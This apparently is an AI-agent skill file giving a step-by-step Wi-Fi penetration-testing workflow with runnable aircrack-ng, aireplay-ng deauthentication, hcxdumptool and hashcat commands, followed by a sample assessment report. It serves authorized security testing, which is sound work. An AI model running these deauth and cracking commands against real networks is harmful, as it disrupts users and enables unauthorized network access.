--- name: performing-wifi-password-cracking-with-aircrack-79afcda79390 description: 'Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture. ' domain: cybersecurity subdomain: network-security tags: - network-security - wifi - aircrack-ng - wpa2 - wireless-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 mitre_attack: - T1046 - T1040 - T1557 - T1071 - T1591 --- # Performing WiFi Password Cracking with Aircrack-ng ## When to Use - Assessing the strength of WPA/WPA2/WPA3 passphrases during authorized wireless penetration tests - Testing whether wireless networks are using weak or default passwords that can be cracked offline - Capturing and analyzing 4-way handshakes to evaluate wireless authentication security - Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders - Validating that enterprise wireless networks use 802.1X/EAP instead of pre-shared keys **Do not use** against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test. ## Prerequisites - Written authorization specifying in-scope SSIDs and wireless networks - Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar) - Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed - Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists) - GPU-capable system for hashcat acceleration (optional but recommended for large wordlists) ## Workflow ### Step 1: Prepare the Wireless Interface ```bash # Identify wireless interfaces iwconfig # or iw dev # Kill interfering processes sudo airmon-ng check kill # Enable monitor mode sudo airmon-ng start wlan0 # Output: monitor mode enabled on wlan0mon # Verify monitor mode iwconfig wlan0mon # Mode should show "Monitor" # Alternatively, enable monitor mode manually sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ``` ### Step 2: Scan for Target Networks ```bash # Scan all channels for access points sudo airodump-ng wlan0mon # Output columns: # BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID # AA:BB:CC:DD:EE:FF -45 120 35 6 WPA2 CCMP PSK TargetNetwork # Identify the target network parameters: # - BSSID (MAC address of the access point) # - Channel number # - Encryption type (WPA2-PSK is the target) # - Connected clients (in the lower section) # Focus scanning on the target channel sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture ``` ### Step 3: Capture the WPA2 4-Way Handshake ```bash # Method 1: Wait for a client to connect naturally # Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture # Method 2: Deauthenticate a client to force reconnection (active) # In a separate terminal, send deauth packets to a specific client sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon # Or deauth all clients (broadcast) sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Method 3: Capture PMKID from the AP (no client needed) # Using hcxdumptool sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \ --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2 # Wait for "PMKID" message, then convert for hashcat hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng # Verify handshake was captured aircrack-ng handshake_capture-01.cap # Should show: "1 handshake" next to the target BSSID # Alternative verification with cowpatty cowpatty -r handshake_capture-01.cap -c ``` ### Step 4: Crack with Aircrack-ng (CPU-based) ```bash # Crack using rockyou wordlist aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap # Use multiple wordlists aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \ -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap # Crack with a specific ESSID aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap # If successful, output shows: # KEY FOUND! [ password123 ] ``` ### Step 5: Crack with Hashcat (GPU-accelerated) ```bash # Convert capture to hashcat format # For handshake captures: hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap # Or use aircrack-ng conversion aircrack-ng handshake_capture-01.cap -j hashcat_input # Dictionary attack with hashcat hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt # Rule-based attack (transforms dictionary words) hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Brute force 8-character numeric passwords hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d # Combination attack (two wordlists combined) hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt # Mask attack for common patterns (Word + 4 digits) hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d # For PMKID-specific hashes hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt # Show cracked password hashcat -m 22000 hashcat_input.hc22000 --show ``` ### Step 6: Document and Clean Up ```bash # Stop monitor mode sudo airmon-ng stop wlan0mon # Restart networking services sudo systemctl restart NetworkManager # Generate report cat > wifi_assessment_report.txt << 'EOF' WiFi Security Assessment Results ================================= Target SSID: TargetNetwork BSSID: AA:BB:CC:DD:EE:FF Encryption: WPA2-PSK (CCMP) Channel: 6 Handshake Capture: Successful (Method: Client deauthentication) Cracking Result: PASSWORD FOUND Password: [documented securely] Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU) Recommendation: Change to a passphrase of 15+ characters with mixed case, numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X. EOF # Securely handle capture files (contain sensitive authentication material) sha256sum handshake_capture-01.cap > evidence_hashes.txt # Transfer to secure evidence storage per engagement agreement ``` ## Key Concepts | Term | Definition | |------|------------| | **4-Way Handshake** | WPA/WPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking | | **PMKID** | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client | | **Monitor Mode** | Wireless interface mode that captures all wireless frames on a channel without associating with any access point | | **Deauthentication Attack** | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake | | **PSK (Pre-Shared Key)** | Static password used by all users to authenticate to a WPA/WPA2-Personal network, vulnerable to offline dictionary attacks | | **802.1X/EAP** | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability | ## Tools & Systems - **aircrack-ng suite**: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking) - **hashcat**: GPU-accelerated password cracker supporting WPA/WPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks - **hcxtools**: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats - **hcxdumptool**: Capture tool specifically designed for PMKID extraction without requiring client deauthentication - **cowpatty**: WPA/WPA2 cracking tool with precomputed hash table support for faster dictionary attacks ## Common Scenarios ### Scenario: Wireless Penetration Test for a Corporate Office **Context**: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks. **Approach**: 1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types 2. Verify that Corp-WiFi uses 802.1X/EAP by examining beacon frames -- confirmed, no PSK to crack 3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection 4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password "Welcome2024!" cracked in 47 seconds 5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password "iot12345" found in 12 seconds 6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable 7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase **Pitfalls**: - Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope - Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz) - Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks) - Running GPU cracking on shared systems without monitoring temperature and power consumption ## Output Format ``` ## Wireless Security Assessment Report **Assessment Date**: 2024-03-15 **Location**: Corporate Office, Building A ### Network Inventory | SSID | BSSID | Encryption | Auth | Channel | Crackable | |------|-------|------------|------|---------|-----------| | Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) | | Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds | | IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds | ### Findings **Finding 1: Weak Guest-WiFi Password (High)** - Password: "Welcome2024!" (cracked via dictionary in 47 seconds) - Present in rockyou.txt top 100,000 entries - Shared among all visitors with no rotation policy **Finding 2: Trivial IoT-WiFi Password (Critical)** - Password: "iot12345" (cracked in 12 seconds) - Default-pattern password providing access to IoT device network - No network segmentation between IoT-WiFi and corporate resources ### Recommendations 1. Migrate Guest-WiFi to captive portal with per-session credentials 2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation 3. Implement network segmentation isolating IoT VLAN from corporate resources 4. Consider WPA3-SAE for PSK networks to prevent offline cracking 5. Enable 802.11w Protected Management Frames to prevent deauth attacks ``` --- Source attribution: 26zl Original project: https://github.com/26zl/cybersec-toolkit/blob/2ad2519d437cda1f8a822ef7adc336993601a5ac/.claude/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. 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See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: 26zl Original project: https://github.com/26zl/cybersec-toolkit/blob/2ad2519d437cda1f8a822ef7adc336993601a5ac/.claude/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Backend Tools: Aircrack Ng, Hashcat Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 4adcd2eb21eb65a7f1ae33a14a8c14c789d4477efca91bd20a077744a9c0da17